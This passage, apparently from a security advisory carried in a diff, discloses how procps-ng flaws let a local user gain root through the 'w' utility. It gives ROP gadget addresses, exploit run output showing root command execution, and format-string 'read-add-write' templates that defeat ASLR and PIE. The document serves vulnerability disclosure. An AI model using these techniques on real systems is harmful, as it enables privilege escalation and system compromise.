+- the first gadget that we execute, 0x4020bb, pivots the stack pointer
+ to RDI (which points to the very beginning of the PROCTAB structure):
+ "push rdi; ...; pop rsp; pop r13; pop r14; pop r15; pop rbp; ret;"
+
+- the second gadget that we execute, 0x4029db, increases the stack
+ pointer by 0xffb8 bytes (it would otherwise crash into the beginning
+ of the heap, because the stack grows down): "ret 0xffb8;"
+
+- the third gadget that we execute, 0x401100, calls
+ _dl_runtime_resolve() and _dl_fixup() with our own "relocarg" (this
+ effectively calls system() with the command located at RDI,
+ "id>>/tmp/w.$$"):
+
+ 401100: ff 35 02 2f 20 00 pushq 0x202f02(%rip)
+ 401106: ff 25 04 2f 20 00 jmpq *0x202f04(%rip)
+
+- the fourth gadget that we execute, 0x402a50, makes a clean exit:
+
+ 402a50: bf 01 00 00 00 mov $0x1,%edi
+ 402a55: e8 36 e7 ff ff callq 401190 <_exit@plt>
+
+$ ./w-exploit-Non-PIE
+positive_tot 2147482113
+distance_tot 2147482112
+distance 12024752
+...
+distance 12024752
+off 279917264
+ver_beg 2e26ce0 ver_end 5426ce0
+rel_beg 15f19fb0 rel_end 18519fb0
+str_beg 2900d280 str_end 2b60d280
+sym_beg 3c100570 sym_end 3e700570
+reloc_arg 16957128
+nentries 5
+POSITIVE_TOT 2147482113
+DISTANCE_TO_PT 1
+negwrite_off 2147485183
+nentries 1
+ready
+
+Then, if an administrator executes w:
+
+# cat /tmp/w.*
+cat: '/tmp/w.*': No such file or directory
+
+# w
+
+# cat /tmp/w.*
+uid=0(root) gid=0(root) groups=0(root)
+
+========================================================================
+5.5. PIE exploitation
+========================================================================
+
+In this section, we describe our proof-of-concept exploit against the
+PIE "w" on Debian 9 and Fedora 27. The first technique that we tried, a
+partial overwrite of a function pointer in the PROCTAB structure, does
+not work:
+
+- we are limited to a 2-byte overwrite, or else we lose the "one-shot"
+ quality of our exploit (we must brute-force the random bits that we
+ overwrite);
+
+- the original function pointer refers to a piece of code in libprocps
+ that offers a very limited choice of gadgets;
+
+- file2strvec() ends our command-line argument strings (which overwrite
+ the function pointer) with a null byte, and further reduces the number
+ of available gadgets.
+
+Our second, working technique is derived from halfdog's fascinating
+https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ and
+transforms libprocps's integer overflow and memory corruption into a
+format-string exploit:
+
+- we overwrite the dirname pointer to "/usr/share/locale" (a member of
+ the struct binding malloc()ated at the very beginning of w's heap by
+ bindtextdomain()) with a pointer to "/tmp" -- we do not need to worry
+ about ASLR, because we arrange for file2strvec() to overwrite dirname
+ with a pointer to our command-line argument strings; alternatively, we
+ could overwrite the "procps-ng" string (malloc()ated at the beginning
+ of w's heap by textdomain()), but this would also overwrite the chunk
+ header of the struct PROCTAB, and would cause a crash in closeproc();
+
+- we thereby control the translation strings returned by the *gettext()
+ functions and the _() macro (the overwritten dirname pointer is used
+ to construct the names of the translation files ".mo") and therefore
+ control two format-strings in w's main():
+
+591 printf(_("%-*s TTY "), userlen, _("USER"));
+...
+595 printf(_(" LOGIN@ IDLE JCPU PCPU WHAT\n"));
+
+- we exploit the first format-string to create a pointer to a saved RIP
+ on the stack, and we write this pointer to the stack itself;
+
+- we use this pointer, and the second format-string, to overwrite the
+ saved RIP with the address of a useful libc gadget (we return into
+ popen() on Debian 9, and wordexp() on Fedora 27).
+
+However, unlike halfdog, we cannot defeat ASLR by simply dumping the
+contents of the stack with a format-string, because we have not access
+to the output of "w" (it is executed by another user, administrator, or
+script). Instead, we implement Chris Evans's "read-add-write" primitive
+https://scarybeastsecurity.blogspot.com/2016/11/0day-exploit-advancing-exploitation.html
+("Trick #6: co-opting an addition primitive") with format-strings only.
+
+With the first format-string:
+
+- we "read" the LSW (Least Significant Word, 32 bits) of a stack pointer
+ that is located on the stack itself and hence accessible through the
+ format-string arguments -- for example, the argv pointer;
+
+- we "add" a distribution-specific constant to this LSW, to make it
+ point to a saved RIP on the stack -- for example, the saved RIP pushed
+ onto the stack by the call to printf_positional() in vfprintf();
+
+- we "write" this modified LSW to the LSW of another stack pointer that
+ is also located on the stack itself and hence accessible through the
+ format-string arguments -- for example, the argv[0] pointer.
+
+With the second format-string:
+
+- we "read" the LSW of a libc pointer that is located on the stack and
+ hence accessible through the format-string arguments -- for example,
+ the pointer to __libc_start_main();
+
+- we "add" a distribution-specific constant to this LSW, to make it
+ point to a useful libc gadget -- for example, popen() or wordexp();
+
+- we "write" this modified LSW to the LSW of a saved RIP on the stack:
+ we use the pointer (to the saved RIP) created on the stack by the
+ first format-string.
+
+To implement the "read-add-write" primitive:
+
+- we "read" the LSW of a pointer (we load it into vfprintf's internal
+ character counter) through a variable-width specifier such as "%*R$x",
+ where R is the position (among the format-string arguments on the
+ stack) of the to-be-read pointer;
+
+- we "add" a constant A to this LSW through a constant-width specifier
+ such as "%Ax";
+
+- we "write" this modified LSW to the LSW of another pointer through a
+ specifier such as "%W$n", where W is the position (among the format-
+ string arguments on the stack) of a pointer to the to-be-overwritten
+ pointer (for example, in our first format-string we overwrite the LSW
+ of the argv[0] pointer through the argv pointer, and in our second
+ format-string we overwrite the LSW of a saved RIP through the
+ overwritten argv[0] pointer); in summary:
+
+ . if we want to "add" a constant to the LSW that we "read", we use a
+ simple format-string such as "%*R$x%Ax%W$n", where A is equal to the
+ constant that we want to add;
+
+ . if we want to "subtract" a constant from the LSW that we "read", we
+ use a format-string such as "%*R$x%W$n%Ax%W$hn", where A is equal to
+ 65536 minus the constant that we want to subtract (the smaller the
+ constant, the higher the probability of success).
+
+This generic technique defeats NX, ASLR, PIE, SSP, and FORTIFY, but it
+suffers from three major drawbacks:
+
+- it requires two different format-strings, because it must reset
+ vfprintf's internal character counter between the two "read-add-write"
+ primitives;
+
+- its probability of success is 1/4 (not a one-shot, but not a
+ brute-force either), because the probability of success of each
+ "read-add-write" primitive is 1/2 (the randomized LSW that is "read"
+ as an "int width" must be positive), and the stack is randomized
+ independently of the libc;
+
+- it outputs 2*1GB on average (2*2GB at most): this may be acceptable if
+ the target utility is executed by a script or daemon, but not if it is
+ executed manually by an administrator (terminal escape sequences may
+ be used to overcome this drawback, but we did not explore this
+ possibility yet).
+
+It is also possible to implement distribution-specific variants of this
+generic technique: for example, we developed a Debian-specific version
+of our "w" exploit that requires only one format-string, has an 11/12
+probability of success (nearly one-shot), and outputs only a few
+kilobytes. This is left as an exercise for the interested reader.
+
+
+========================================================================
+Acknowledgments
+========================================================================
+
+We thank Craig Small and the members of linux-distros@openwall and
+security@kernel.
+
+
+========================================================================
+Patches.tar.gz.b64
+========================================================================
+
+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
